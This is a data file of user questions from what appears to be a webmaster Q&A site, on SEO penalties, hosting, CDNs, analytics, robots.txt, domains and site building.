{"id":"35336","title":"Ideal web application framework for newcomers and whether it is better to use Java or PHP based framework?","text":"My primary question is whether a Java based web application framework is better or a PHP based one and why? Moreover, if I were just starting web development then what would be some ideal frameworks to start with, considering I may want to make a full CMS out of it later? I am not looking for a 'best', rather some good recommendations as I understand that CodeIgnitor has not got a long way to go from here : http:\/\/heybigname.com\/2012\/05\/06\/why-codeigniter-is-dead\/"}
{"id":"35331","title":"What constitutes a \"substantial, good-faith effort to remove the links\"","text":"We engaged the services of a 3rd party SEO consultant to assist us in managing our Meta data and to write regular blogs on our site http:\/\/cyberdesignworks.com.au Without our authorisation, the SEO also ran a link building campaign which has seen us Penguin slapped and we no longer appear in Google for a number of our core keywords. Since notification by Google that we have \"unnatural links\" back in March we have undertaken a significant campaign to rid ourselves of these dodgy backlinks by a number of methods. I have just received feedback on my 4th or 5th resubmission which is still advising that we need to make a \"substantial, good-faith effort to remove the links\" before Google will reconsider us for inclusion. After the effort that I have gone through to get links removed, I am now at a loss as to what else I can do to demonstrate \"substantial, good-faith effort to remove the links\". Below is a summary of the actions that we have taken to date. * According to http:\/\/removeem.com we had about 5584 back-linking domains. * Of those we have successfully contacted and had removed links from 344 domains * We ignored links from 625 domains as they were either legitimate press releases, natural backlinks or client websites containing an attribution link in the footer that points back to us. * Due to our efforts, or the sites simply becoming defunct, removem.com reports that links from 3262 domains have been removed. * We have contacted but are yet to receive feedback from 1666 domains so we can assume that the backlinks remain. * We have configured an automatic 301 redirect for each of the links from these 1666 domains to point to http:\/\/redirects.sanscode.com\/ which we are calling our Bad Link Catcher (a stroke of genius I thought). i.e http:\/\/www.mysimplewebdesign.com\/create-a-perfect-webpage-with-four-important-tips-from-sydney-web-development-service-companies.php * As we are a web design agency, we have a large number of client websites which contain an attribution link in their footer which points back to us. We have gone through the vast majority of these and updated these links to replace anchor text with an image and rel=\"nofollow\" link. i.e <a rel=\"nofollow\" target=\"_blank\" href=\"http:\/\/www.cyberdesignworks.com.au\/\"><img src=\"https:\/\/sessions.sanscode.com\/site\/assets\/media\/badges\/Badge_CDW_SANSCODE.png\"><\/a> See http:\/\/www.milkatwork.com.au\/ * An export from http:\/\/removeem.com detailing the number of times we have contacted each link and whether it is still found or not was also supplied with each resubmission. * The total back links reported in Google Web Master Tools has dropped from over 100K to 87K and I expect it to drop significantly lower once Google re-crawls each back-linking page. Based on all of the above, I am not sure what else I can do to to demonstrate a \"substantial, good-faith effort to remove the links\". I would sincerely appreciate any feedback or suggestions that you may have as I am out of ideas."}
{"id":"39171","title":"Sharing password-protected videos on social media","text":"We are developing a site where users will be able to watch and download videos that they've recorded of themselves in a public event. The videos will be password protected, and will be available only to users who have paid for them at the event... ...But on the other hand, we also want users to share those videos on social media, since they will be an attractive publicity for our events. Having people log into our site with their password, download the video and then re- upload it to Youtube\/Facebook will be too cumbersome, and I suspect that few users will be willing to do that. So the obvious alternative is to have one of those convenient \"share\" buttons, but the problem with that approach will be that: * The video will be physically hosted (and linked to) in our site. What happens if those videos go viral and our bandwidth cost explodes? * The video is password protected. The solution I've thought of for this is: 1. Upload the user's video to our (password-protected site) and to Youtube at the same time, as an unlisted video. 2. The user can access our site with his password and download his video (to watch on his TV or whatever). 3. If the users hits the \"share\" button, we show him the Youtube link... and we turn the video into a listed one. This seems in line with the ideas in Using YouTube as a CDN, and there didn't seem to be any objections in that question. I'm posting this just to confirm that my idea doesn't violate any Youtube TOS, and also to see if it is a good one or there might be better alternatives."}
{"id":"39170","title":"CDN for site with target market in Australia","text":"I was told that http:\/\/www.edgecast.com\/ is very good CDN provider for Australian market. I have a cloud server based in Sydney Australia but was wondering whether it's even worth getting cdn as my target market is only Australia based also. Would I see any performance gain if I use above CDN services or would this be more for sites that target international visitors? I have Apache installed in our server but I would like to install Nginx. Would I see much more gain in performance on this change than CDN or should I go for both as they are all beneficial?"}
{"id":"375","title":"How much of the world's website traffic is attacks?","text":"Does anyone have any statistics on how much of the total of the world's website traffic is malicious? Every day I am amazed by the number of requests for .dll and similar things which don't appear anywhere on my (static) website. What proportion of the world's web traffic is like this? (It says that this \"appears subjective and is likely to be closed\" so I'm marking it community wiki.)"}
{"id":"16662","title":"Slow website response? How can I fix this issue?","text":"I have pingdom monitor on my website: http:\/\/stats.pingdom.com\/t68xhgex256f\/375513 For North America (big target market) the response time is 1-2 seconds. This is far too slow. Is there anything I can do? The server is located in the UK, so distance plays a big part I imagine."}
{"id":"60046","title":"How do I fix deleteme.xxxxxxxx.php","text":"I have this issue, which is related to a wrong installation that keep the file deleteme-xxxxxxxx(x's are a username or something) better described here: What is deleteme.xxxxxxxx.php Do you maybe know how I could get rid of it and fix the issue? At the moment, the installation fails saying: > Technical Error: [1] Written file `\/deleteme...php' not accessible > at`deleteme...php'. [3; \/opt\/curlssl\/bin\/curl] \/deleteme...php [http > code=403] @xx.xxx.xxx.xxx(xxx.xxx.xxx.xxx)"}
{"id":"55240","title":"Is page authority or domain authority more important for backlinks?","text":"When you are searching for potential sources of backlinks. Is page authority or domain authority more important for search engines?"}
{"id":"55243","title":"Does Google crawl page when G+ logo is embedded?","text":"I have a `robots.txt` file in the root to prevent search engines indexing any of my sites. I have a social media management application embedded on my site that includes all major social media channels including G+. I heard that once the G+ symbol is on a site Google will index sites despite having a `robots.txt` in the root. Is this true? My thought behind locking out robots for a while is so I increase visitors per day first before allowing robots to crawl. Once I e.g. reach 100 visitors a day I will remove `robots.txt` file and will then receive a better initial page rank (in mind that PR is only updated every couple of months). Is this reasonable? How much emphasize is placed on the factor %visitor increase\/day?"}
{"id":"32648","title":"How to consider geographical location when selecting hosting provider?","text":"I am going to buy a hosting service (re seller) where mostly people from Ethiopia will be using it. I am going to host my applications in this server and also partition and sell for other developers to host their apps. So I am not sure, if I have to host my application in the US, UK, AU or somewhere else. Does selecting a hosting service that is located in either one of the above places would affect the reliability of the service for the users from that specific country? (The data is not sensitive ) My main aim is, to make sure that the server is reliable all the time (99.9%) for the users from that country."}
{"id":"55861","title":"Why does abandoment rate not equal the inverse of funnel conversion rate?","text":"I have a Google Analytics account. For a given time period, the abandonment rate on a single goal is `73.15%` on the \"Goal Overview\" page. If I switch pages to the \"Funnel Visualization\" for the exact same goal and time period, I have a `25.98%` funnel conversion rate. Surely, if `25.98%` of funnel attempts resulted in a goal completion, then the remainder (`74.02%`) must have been abandonments? `100 - 25.98 = 74.02` `74.02 != 73.15` Why are the two numbers different?"}
{"id":"6142","title":"Is it fine to share your blog everywhere?","text":"I am trying to perform some SEO on my blog. I want to to keep sharing the blog on FaceBook and other social networks, sharing the link on different groups (i.e., groups related to my blog). Is it fine or does this constitute spamming?"}
{"id":"12714","title":"Status:CLIENT TRANSFER PROHIBITED","text":"i am having a domain registered with godaddy when i am looking through my domain details i found this in the who is lookup , what is this means and if i would like to transfer my domain to another registrar will it be hassle free ?"}
{"id":"32250","title":"Adwords traffic shows as 'not set' in Google Analytics","text":"In Google Analytics if I go to **Traffic sources > Search > Paid** all I get is \"not set\". Instead of the usual list of keywords that people have used to find the ad, this makes it really difficult to understand whats going on in the campaign.. I've gone into Adwords and turned on auto tagging but still have the same problem Any idea how I can fix this so under the Paid tab I get the phrases people have used to find my ad in PPC?"}
{"id":"10971","title":"ASP.net based Website DB access issues?","text":"We have a dynamic website based on MSSQL and ASP.net. There is a hosted DB, which we have an IP and access credentials for. We do not apparently know where it is hosted. We need to make changes which are not covered by the CMS, and the company which built the site (last December) is no longer functioning. I'm at best an amateur when it comes to web design and programming, but this has become my responsibility to sort out. Anything that can be done to point me in the right direction will be appreciated. I can provide more info, if you can tell me what you need to know. By the way, we're based in Dubai, so responses may be oddly timed, or appear slow. Also, there are limited options to go get another local company to look at this, without simply rebuilding the site again. Thanks again for whatever help you can provide. The site was built, according to the developer, with the following tools: TECHNOLOGY • Framework : Microsoft Dot Net Frame Work 3.0 (2.0) • Programming : Asp.Net • Scripting : C#, JAVA Script • Extended Tool : ASP.NET AJAX Control Toolkit (Microsoft ASP.NET AJAX framework) • Database : Microsoft SQL Server 2008 SOFTWARE USED • Microsoft Visual Studio 2008 • Microsoft SQL Server 2008 • Microsoft SQL Server Management Studio Express • Adobe Dreamweaver CS3 • Adobe Photoshop CS3 • Adobe Flash CS3 • Flash Slide Show Maker • Cute FTP + Mozilla Fire FTP I have a document from the developer which my employer was originally told would provide all the data needed to make changes to the site. If it does, however, I can't see how. I've also tried to do whois searches on the DB IP, to find the host, but our ISP here blocks direct IP input as \"hacking\". Please let me know if I can provide any more information. As I said I have very minimal experience with these things. I'd like to learn to handle our required changes myself, and so I guess my question has 3 forks. Where can I find a freelancer whom I can trust, and frankly, who is not too aggressively priced? Where can I begin to learn the skills I need so that this doesn't come up again? And how do I find the database host? For all I know this may be a local machine. Josh"}
{"id":"10972","title":"Getting keywords in XML from Google?","text":"need to know how to get all keywords from Google Keywords service. By default, i can download only 700 keywords. How to get all keywords from one query? Thanks."}
{"id":"6926","title":"Paypal alternatives for personal site donations \"adult friendly\"","text":"Paypal has a policy against having using them if your site has _any_ adult content. I'm wondering if there are any services that work similar to paypal, but that don't mind some adult content, or being somehow connected to it little history is that a blogger I read got kicked off of paypal. tried to open a new site on a non sex related topic for donations due to a child custody battle, and paypal shut that off because the account is \"related\" to the previous account. I personally don't agree with this. So I'm curious what options might exist for something that's not so profitable and doesn't need a \"full payment gateway\""}
{"id":"10975","title":"Strategy for managing lots of pictures for a website","text":"I'm starting a new website that will (hopefully) have a lot of user generated pictures. I'm trying to figure out the best way to store and serve these pictures. The CMS I'm using (umbraco) has a media library that puts a folder on the server for each image. Inside of there you can have different sizes of that same image. That folder has an ID on it and the database has additional information for that image along with the ID of the folder. This works great for small sites, but what if the pictures get up to 10,000, 100,000 or 1,000,000? It seems like the lookup on the directory would take a long time to find the correct folder. I'm on windows 2008 if that makes a difference. I'm not so worried about load. I can load balance my server pretty easily and replicate the images across the servers. The nature of the site won't have a lot of users on it either, but it could have a lot of pics. Thanks. -Nate **EDIT** After some thought I think I'm going to create a directory for each user under a root image folder then have user's pictures under that. I would be pretty stoked if I had even 5,000 users, so that shouldn't be too bad of a linear lookup. If it does get slow I will break it down into folders like \/media\/a\/adam\/image123.png. If it ever gets really big I will expand the above method to build a bigger tree. That would take a LOT of content though."}
{"id":"36488","title":"Curious about a cached old domain","text":"I am a bit curious about my new domain. I had a domain before, let's say `http:\/\/example.com\/`. Before expiration of that domain, I bought a new one with the name `http:\/\/another-domain.com\/`. I uploaded all of my content on the second domain, but now when I search in Google about some query related to my `http:\/\/another-domain.com\/` site then I also find my old domain in the results. Will this give a duplicate content error for my new domain or any other kind of penalty from Google?"}
{"id":"52921","title":"Parallax Websites & SEO","text":"I am getting a parallax website made for my e-commerce website. I have the option of giving each section an individual link or anchor tagging each page. Which of the two options are better for SEO? I would prefer to anchor tag each page so people can return to their previous page without hitting the back button several times."}
{"id":"25611","title":"Multilingual site and Google search","text":"I have a multilingual site with only one domain `www.mydomain.com`, this domain serves content in English and Norwegian. And language is handled using a server side session parameter, which is triggered by a click on a button on my website. My problem is that Google only find and index my English version of the website, and not the Norwegian part of it. After looking for a solution I came over this post on Google: http:\/\/support.google.com\/webmasters\/bin\/answer.py?hl=en&answer=182192 From what I read there, it looks like I can't use sessions to control language, and that I should use one of these solutions: * `en.domain.com` - `no.domain.com` * `www.domain.com\/en` - `www.domain.com\/no` * `www.domain.com` - `www.domain.no` Is this true, or is it possible to get Google to index my Norwegian and English content by using my session parameter?"}
{"id":"55224","title":"Number of pages with structured data","text":"I'm using Webmaster Tools to track (beside other things) structured data, part of website is WordPress based, and part of it is custom developed website. Until one month ago, Google reported that I have only few pages with structured data. After that, it started to report that I have about 200 pages with structured data (I don't know if WordPress was updated at that time). After that, number of pages with structured data started to decrease, and now there is about 120 pages with it. Can you help me and tell me why do I have decreased number of pages with structured data, and is good or bad?"}
{"id":"62919","title":"Prevent indexing of pagination on my site","text":"On my site I have a pagination of variable length and random result order. Every page is defined by `index`, that is order of the page and `seed`, that is the random seed (it's necessary to generate consistent random results for one user). Search engines keep indexing these pages and they also randomly try to access pages that don't exist. Should I prevent them to index all pages except the main page? If so, where exactly should I put the directives (NOINDEX, FOLLOW)? Can the be put in HTML link tags?"}
{"id":"60839","title":"Baidu spider does not obey DNS TTL","text":"I moved my website from one VPS to another on 16th April. The `A` record of the domain name has a TTL of `86400`. I made the IP address change at **19:00 GMT 16th April**. I do not want the site to face downtime so I am keeping the old VPS alive. Today is the third day and the access log on the old server shows hits from Baidu spider. It has been more than 60 hours but why is this crawler still hitting the old IP address? I am using AWS Router53 for DNS."}
{"id":"26493","title":"\"Index of ...\" directory's files listing","text":"On my courses we've got homework on site in folders such as: http:\/\/example.com\/files\/tasks1-edc34rtgfds http:\/\/example.com\/files\/tasks2-0bg454fgerg http:\/\/example.com\/files\/tasks3-h1dlkjiojo8 ... Each `tasksi-xxxxxxxxxxx` is a folder with 11 random characters at the end. And when you view the above URLs in browser you can see `Index of \/tasksi- xxxxxxxxx` with all the files in that folder. When you view `http:\/\/example.com\/files\/` you can see only empty html with words \"Hello, world\". The problem is that you can't look into the next task without knowledge of its URL. So for example we've got the URLs for tasks1 and tasks2, and we can't guess what tasks3 URL will be (as we need to know the 11 random characters at the end) How can I get the list of all directories? (Is there a way to type something like `http:\/\/example.com\/files\/task1-aflafjal343\/..`? or another way?) I want to see all upcoming homework tasks."}
{"id":"60834","title":"Privacy concern to track every user actions in your website?","text":"We are building a system that track every user (logged in) actions, e.g. click, pageview, duration etc and store into a database. So all the user activities will be known and we are using them to create information our CRM so that we know more about our user, e.g. which products they have visited and how often they view that page. My questions: * Are there any privacy concern since we identify the user, not just analytics. * Is it legal in countries such as EU? * What thing we need to pay attention to the data we gathered?"}
{"id":"64847","title":"Can I advertise in Google AdWords with multiple places to click in an ad with different actions?","text":"I want to create a graphical Ad for my website that has more than one button or a multiple choice question. It possible to run such an ad in the Google AdWords content network? If so, how do I set it up, and how can I tell which button or action the user selected in the ad? I thought that Google's \"rich media\" ads might be able to do it. I have searched the Rich Media Gallery that they provide and haven't found examples of ads with multilple click points."}
{"id":"26497","title":"How does CNAME work for Google Apps for My Domain?","text":"I recently got a domain and set it up with Google Apps including setting up sub-domains for the different services. After set up the CNAME, all my subdomains point to `ghs.google.com`. I was wondering how this works with all subdomains pointing to the same site."}
{"id":"19531","title":"Majority of mobile devices support media queries for screen width? ","text":"Where I can find statistics on what % of mobile devices browsing the web support media queries for screen widths? I want to know whether for mobile optimization I can assume the majority of users' devices will support these, and so if I can base my optimization on using them. Thanks"}
{"id":"21111","title":"How to modify the CSS in vBulletin","text":"One of the Occupy sites needs to make a change to the CSS of the site but doesn't know how. Since they don't know me from adams housecat they are (thankfully reluctant to give me the keys to figure it out). Since I've never even looked at vBulletin, so I'm hoping one of you might give some directions. And I'll point them back to this article. http:\/\/occupyalabama.org\/forum\/showthread.php?232-Improvements-to-the-CSS **Improvements to the CSS** Right now, we have: body a { color: #417394; text-decoration: none; } I'd like to see an addition of div.postbody a { color: #2253ff; text-decoration: underline; } So that links in the posts (and only in the posts) show up more clearly."}
{"id":"68538","title":"Why does cPanel not have the icon I'm looking for?","text":"I want to forward all emails to a central address. For this I need to setup the default email address. **My cpanel does not have the \"Default Address\" icon in the email section.**  Why it is not there? How can I enable it?"}
{"id":"21118","title":"how to best enable gzip compression on shared hosting","text":"I must assume that this is a duplicate question, but I could not find the answer myself. I want to enable gzip compression to everything my website sends (mostly php, css, a slight bit of js). this question makes a point of adding a line into the .htaccess file (that i do have access to) but i'm not sure if that would include the dynamic content. this question (has a typo in the question, it should be ob_start I think) tells me how to enable gzip to php files. and after fixing the typo it seems to work. do i need to use both ? is there anything else i need as well ?"}
{"id":"19655","title":"Domain Aliases and SEO","text":"We have created a movie site & to optimize in search engines for other countries, we have created a alias of various domains, for example movie.co.uk, movie.de etc. How to get this optimized and avoid Google duplicate content?"}
{"id":"55863","title":"Why are Google Analytics goal conversion failures showing the same page as one of the funnel steps","text":"I have a simple goal. It's a destination goal, so basically tracking people who come to a page, and sign up for a Eval, then reach the \"thank you\" page. This seems pretty standard. The question to me is with the users that fail to convert, why is the `\/evaluations` page showing in the red? Of 41 people who came to the `\/evaluations` page (the only funnel step in this goal,) 35 show as on that page, 1 exited, and 5 completed. Why and how are 35 showing on the `\/evaluations` page? "}
{"id":"33964","title":"Adding your website to free web directories as a link building strategy","text":"It's been two months since I've launched a website. I recently ran into some websites which list directories of other websites. Some examples of the web directories can be found at `web-directories.ws`. I was talking with my colleague and he says adding the URL of my website to these kind of websites will negate the effect of other organic real links. * Does Google consider positive\/negative points for these links from web directory websites? * Do you have any source for your answer to refer to? I found this question asked before on webmasters.SE, but I am asking about many links from a website."}
{"id":"26745","title":"Is it generally a good idea to allow the reuse of old usernames from deleted accounts?","text":"On a Social Networking site, is it generally a good idea to allow the reuse of old usernames from deleted accounts, or is it better to prohibit their reuse forever? **How do the big boys do it (Facebook, Google, etc.)?** Generally, as far as the DB is concerned, it's not a big deal either way because most tables are associated by some kind of user id, and not the username. I can certainly see why you wouldn't want to allow the reuse of BANNED usernames, but what about usernames from accounts that were simply deleted by the original owner? Do you free up those usernames or do you prohibit their reuse? Pros of allowing reuse: * Frees up available username space. * Current account owners can \"reset\" their accounts by simply deleting it and quickly re-registering it with the exact same username. Cons of allowing reuse: * Can create confusion. Imagine an old user with thousands of posts on a forum. They delete their account, their posts remain under the old username, and someone comes along and registers with that same username. It will seem like that new user created all those old posts. Sure, you can change the username of the old user prior to deleting their account to avoid this confusion, but wherever they've been quoted, you will still have their original username, which can still create confusion. * Can be \"gamed\". Imagine a very popular user deletes their account and someone quickly re-registers that username in order to benefit from the \"trust\" associated with that username, and possibly uses it maliciously against unsuspecting users. Any other pros\/cons I'm not thinking about it? I'm really curious to learn how the big boys do it and why."}
{"id":"65719","title":"Mobile Browsers! Do they ignore `<noscript><img>` (Responsive Design with Framework Zurb Foundation (Interchange\/Noscript))","text":"_Experimenting with Interchange Responsive Images_ I'm experimenting with Interchange by Zurb Foundation to serve various images versions to different devices. For example 200x100 for mobiles, 300x100 for tablets and 600x100 for Desktops! This solution works with JS which is great but I'm a true believer that all websites should work to some degree with JS disabled. _The Code_ I'm using the below code which triggers via the foundation-min.js that makes everything work as expected: <img data-interchange=\"[\/default.jpg, (default)], [\/bigger-image.jpg, (large)]\"> _Fallback Method Suggested By Zurb Foundation_ > If you want to support browsers with JavaScript disabled, we recommend > setting your default image in a tag so that these browsers will have a > fallback: > > `<noscript><img src=\"\/path\/to\/default.jpg\"><\/noscript>` This sounds like a suitable solution but then looking at Firebug and looking at the net response I can see that when pages are rendered in Firefox it downloads the responsive image and that image in the noscript even through it's not being rendered i.e JS enabled. _The Rant_ So the problem is that I want to serve images in the resolutions that looks great but also downloads fast too, afterall that is the main objective of using such methods but since it downloads the images in noscript this competely makes it a useless solution. _The Question_ Does all mobiles browsers download images in noscript even when JS is enabled? What else fallback mobile\/desktop methods can you suggest (without driving into the code too much, I'm not that lazy!)"}
{"id":"65462","title":"Why does Google Analytics show more users than sessions?","text":"My Google Analytics page shows almost twice as many Users than Sessions. It really doesn't make sense to me, does anybody know what's the reason for this? Here is a snapshot from my GA dashboard: "}
{"id":"59637","title":"Can a webpage dial a traditional phone land-line?","text":"I am working a website for a sales team and I would like to know if there is a way to dial a traditional telephone land-line from a webpage using JavaScript or a plugin in conjunction with a piece of hardware. Currently, our sales staff log into the website every day and access to their contacts and call logs through their accounts. Usually they work on-site, but several work remotely. Our goal is to use the webpage to dial-out via land line. This will allow us to track the time and number of calls that the sales staff make. It will also make it easier for the sales staff to work. I'm looking for a method that connects our existing phone system to our computers (via modem or possibly a USB device) and then use our web page to dial the land-line (Via JavaScript on a button or a browser plugin.) We do not wish to use an online subscription service and\/or VOIP. We already have a phone infrastructure in place which we want to use. I know that Skype and other web services can easily dial from a web page, but we will not be using any of those."}
{"id":"2275","title":"Download CSS with all referenced files","text":"Is there a tool that allows me to point to a CSS URL, and recursively download the CSS, as well as all the image and @import urls referenced within it? For example, if the CSS is at `http:\/\/example.com\/example.css` And it has things like `background-image: url('images\/bg.gif')`, it should download bg.gif too, and dump it under an images\/ subfolder locally. If it has a reference to another stylesheet ex2.css, it should recursively do this on ex2.css as well."}
{"id":"53579","title":"Is possible create a Microblogging Service in HTML and CSS?","text":"Is possible create a simple Microblogging Service in HTML and CSS with Login similar to Hatena Haiku? PS: is possible to host in Google Drive?"}
{"id":"62938","title":"Need to encourage google to refresh robots.txt","text":"My old robots.txt is User-agent: * Disallow: \/ Is blocking me for uploading a new sitemap and also blocking me for fetching robots.txt manually. I don't know what to do."}
{"id":"50753","title":"YouTube custom thumbnails feature availability","text":"I've been trying to figure out this on my own for weeks, but now I give up. 'Custom thumbnails' feature on YouTube is such a controversial one, it was changed so much... so much that even FAQ on YouTube doesn't fully describe it's features (as I see). I have a YouTube channel for one of my websites. This YouTube channel is main marketing force for my website - it brings all the boys to my yard (I mean, website). So I have to use all the hacky-tricky stuff to increase my visibility on youtube. And damn, those custom thumbnails are giving me hard times... As far as I understand, this is current state of 'custom thumbnail' feature: \"If your account is in good standing, you may have the ability to upload custom thumbnails for your video uploads.\" (c) https:\/\/support.google.com\/youtube\/answer\/138008 My channel has good standing, has more than 50000 views. So why the hell my account is still not eligible for this feature? anyone have any idea?"}
{"id":"11591","title":"What's the deal with all these popular website having poor usability","text":"I'm wondering this for quite some time, and it's a question about human- computer interaction and usability. A lot of popular websites have (in my opinion) poor usability, and I wonder what you guys think of that, and I also wonder why users still prefer these websites. I'll start off with a few examples. **Wikipedia** I'm not talking here about the actual wiki's. But If you want to get into editing these pages it starts with a big mess. There are tons of discussions in the pages behind the wiki's. For example: http:\/\/en.wikipedia.org\/wiki\/Wikipedia:Village_pump_(technical)#30_kb This is bulletin board with thousands of lines of comments, no proper way to identify who's posting what. And all that indentation. It's really annoying me and it's one of the reasons I'm not editing wiki's. **Twitter** Okay, I get the deal with the 140 characters in a message. It forces people to make small messages, and it's ideal for mobile devices. However, a lot of people nowadays are having conversations over twitter. And that's where it gets messy, if someone replies at a tweet of someone else, it's almost impossible to find the corresponding tweet. Also, you're forced to cramp #hastags and @people in your message, so for me it's very messy. **Craigslist** Euhm, yeah craigslist... I'm not even starting on this one. This post is not a complaint about these websites. I'm just surprised they are lacking even the most basic usability features. And that makes me wonder the following thing. Everyone on this website is talking about usability, and human computer interaction. A lot of people study the effects of them on websites. People have gained PhD's in them. Then why is it, that the most popular websites on the internet, do not follow the basic rules of usability, and have a lot of things that can improved for better user experience. Then, another question, is it even proven that adding usability features actually IMPROVE the quality of the user experience of the website"}
{"id":"39307","title":"Piwik Server Overhead","text":"I am developing an intranet site on a Raspberry Pi and am interested in incorporating Piwik into my code. My question, however, is how much overhead impact there will be with the pi's CPU\/RAM? Does Piwik run as a constant and _all the time_ analyzer in the background, or is data fed to it fairly passively until someone accesses Piwik from a browser, at which point would system resources be consumed in depth? Thanks."}
{"id":"43514","title":"How to prevent invalid clicks from proxies","text":"What would be the best and cost effective solution to prevent invalid clicks from PPC."}
{"id":"46666","title":"Moving site from its own domain to sub directory or subdomain - updating Webmaster Tools","text":"Is it possible to tell Google's Webmaster Tools that our site hosted on `www.` has moved to a sub folder or perhaps even a subdomain? I know this is possible by using 301's but would appreciate if anyone can tell me if this can be done on Google's Webmasters Tools."}
{"id":"43041","title":"Why Author Information isn't showing for all pages in google search result?","text":" As you can see on the image, the author information is being shown only for one page, not others, why not all pages are showing the author information? Do I need to do anything additionally to get it done? Following is the result of structured data tool preview:  Now see what really happening on actual google search result(search with the title \"How To Work With Codeigniter Caching In PHP\" and mine is the 9th result on first page):  So, what about this? Why are they different?"}
{"id":"42939","title":"What is that Google web site management tool called?","text":"A year (or maybe 2) ago, Google announced they were working on releasing a management tool for static HTML sites. The idea is that you run this script and it asks you some basic stuff about the site, and it sets up the folder structure and boilerplate. You then could install dependencies (like jQuery), run your tests, and minify your code all through this tool. The name sounds something like merlin, geany, or hoodini. It wasn't really Google branded, and was an open source project. I haven't heard anything about it since it was in its pre-release stages (hey check out this cool demo video), and I want to know what happened to it. Did it ever get released? Can I use this magical tool? Does anyone remember what it's called?"}
{"id":"10751","title":"Ideas for reducing storage needs and\/or costs (lots of images)","text":"I'm the webmaster for a small social network and have noticed that images uploaded by users are taking a big portion of the capacity available. These are mostly JPEGs. What solutions could I apply to reduce storage needs? Is there a way to reduce the size of images without affecting quality too much? Is there a service out there that could be used to store static files at a cheaper price (< 1GB\/0.04 eurocents)? Edit: Updated the question."}
{"id":"55865","title":"Google +1 button: data-href","text":"I'm confused about Google+ +1 button. I have a web application and I've added a +1 button, but I'm not sure what URL I have to put on `data-href`. It seems like you have to create a web page on your Google+ account and put this URL like `data-href`, and I've done so (`data- href=\"https:\/\/plus.google.com\/+mywebsitename\"`), but when you search the web page with Google, the number of +1 doesn't appear. So I'm guessing that I should replace with: `data-href=\"http:\/\/example.com\"`, but I'll lose the few +1 that I already have. Any idea of how to handle this? I'm not interested on having better SEO on Google+ page, but the web application page."}
{"id":"38421","title":"Subdomain in Drupal to an already existing site","text":"I would like to add to an existing site, which wasn't written in Drupal, a sub site, which is in Drupal. The existing site already has a domain, and this would be a sub domain. I'm using Apache2 and Ubuntu 12.04. How should I do this?"}
{"id":"29286","title":"How do I view all the people who have +1ed my site?","text":"> **Possible Duplicate:** > Can I find out who is +1ing my website? I have a +1 button on my blog and I'd like to be able to see who has +1ed my blog posts. How do I view all the people who have +1ed a page?"}
{"id":"17538","title":"Any good alternatives to MediaWiki for creating an 'intranet' type system?","text":"I would like to install some form of intranet system to allow multiple users to add documentation to - MediaWiki would suffice, I just wondered if anyone knew of any better alternatives (must be PHP)."}
{"id":"17284","title":"Registering the Cheapest Domain, what is the Con?","text":"I provide educational material with some sites but I am running them at loss if I need to use the .com TLD with a cos of 10USD per year (not counting the work to do them). I am planning to change the domains to the .info TLD with a cost of 2USD per year with GoDaddy so I could self-sufficiently (hopefully) to provide the material, I have some advertisements there that generate just about 2USD per year to meet the required capital. Can I be sure the INFO domain registration (using GoDaddy) will always be 2USD, and not increase in cost? Are there some cheaper domain registrars? Is it possible to register a domain for 50 years? Any idea whether there are some services that allow cheap educational domain registartion? The sites are running on Google products (with 0 cost to me except time and coding)."}
{"id":"38428","title":"Uploading screenshots to Flickr","text":"I have finally decided to create my own portfolio to show off my works for clients. I've seen on countless web design agency websites where they show screenshots of the websites they made for their clients. And a lot of them upload the shots to Flickr, and use the Flickr api to display the screenshots on their own website. Is this OK to do?"}
{"id":"45258","title":"Need I submit sitemap in Webmaster Tools?","text":"I have uploaded my sitemap on server root folder. Do I need it submit it in Google Webmaster Tools?"}
{"id":"17537","title":"How does one get a 728x15 google adsense ad (not link unit)?","text":"I see certain sites like mashable.com etc have a 728x15 ad format below the title. And they look like normal adsense ads (and not link units). However I don't see any such option in the ad formats presented in my google adsense account. Do they have special access to those google ad formats or does it work by just changing the leaderboard code and reducing the height from 90 to 15? Example: http:\/\/mashable.com\/2008\/12\/08\/how-to-quiet-the-twitter-noise\/ I'm referring to the ad, just above the author description .. \"Jun Loayza is the Co-Founder and CMO....\""}
{"id":"17531","title":"Why is IPv6 not backward compatible with IPv4?","text":"Also, how does it affect our websites? Do we need to shift all IPv4 websites to IPv6 or both?"}
{"id":"17530","title":"Any solutions for managing all properties from one system?","text":"I'm looking for a solution to manage\/keep track of the different domains and sites I maintain. I manage multiple domains with numerous sites, subdomains, many instances of CMS and other web apps, and keeping track of many of the details involved with running a well managed network is difficult. Ideally it would be something that has an interface with which I could keep track of status of things like various robots.txt files, htaccess content, tracking, online status, etc. Essentially an at-a-glance way to keep track of the status of things, without having to manually FTP or log into several places and open a thousand separate files. It might also include something like a maintenance calendar\/scheduler. I haven't had much luck finding something mostly because I'm not sure what exactly I should be looking for in terms of search terms or genre of software, and what's available. What should I be looking for? Web asset management? Site audit? Server audit? Nothing I've tried searching for seems to be in the right direction. Any pointers or suggestions would be appreciated. What types of solutions are available?"}
{"id":"4539","title":"iFrames from Skydrive: yes, no, how","text":"I have a two-pronged question. First: SEO Concerns aside, should I be concerned about using iFrames on my site as far as viruses etc go? I am using skydrive to host my images and it provides an iFrame embed code that's almost exactly what I am looking for. Since it's just hosting images, I am not worried about SEO, but I am worried about any vulnerabilities this might open me or my users to. Have iFrames been completely abandoned by the web community due to safety concerns, or are they okay to use again? (*Using img src is simple enough, I just don't want to have to tap out all of the dimensions since skydrive provides me the code.) Second: If I do use the iFrame code, how do I add a modifier to have the text wrap next to the image? I have two lines with two pics, then one line with one pic but the text begins at the base of the image instead of the top, thus leaving only one line of text instead 238px. To my knowledge, `align = left | right | center` wouldn't work. Here's what I have from skydrive: > `<iframe title =\"Preview\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" > frameborder=\"0\" style=\"width:320px;height:238px;padding:0;background- > color:#fcfcfc;\" src=\"http:\/\/[blah-blah.com\/img].jpg\"><\/iframe>` (*Unfortunately I am unable to use the direct URL http:\/\/[blah-blah\/img].jpg as it is popping broken images, likely a permissions for linking thing)"}
{"id":"4535","title":"Any CSS resources for printing?","text":"Is there any resource like http:\/\/www.csszengarden.com\/ for Print stylesheets? I'd like to write some CSS formatted text on a printed media (internal business documentation) with an elegant style, but it looks like there is no help out there. I don't need LaTeX\/TeX typesetting - I'd like to have something more portable and lightweight almost as plain text, with little or no compiling environment."}
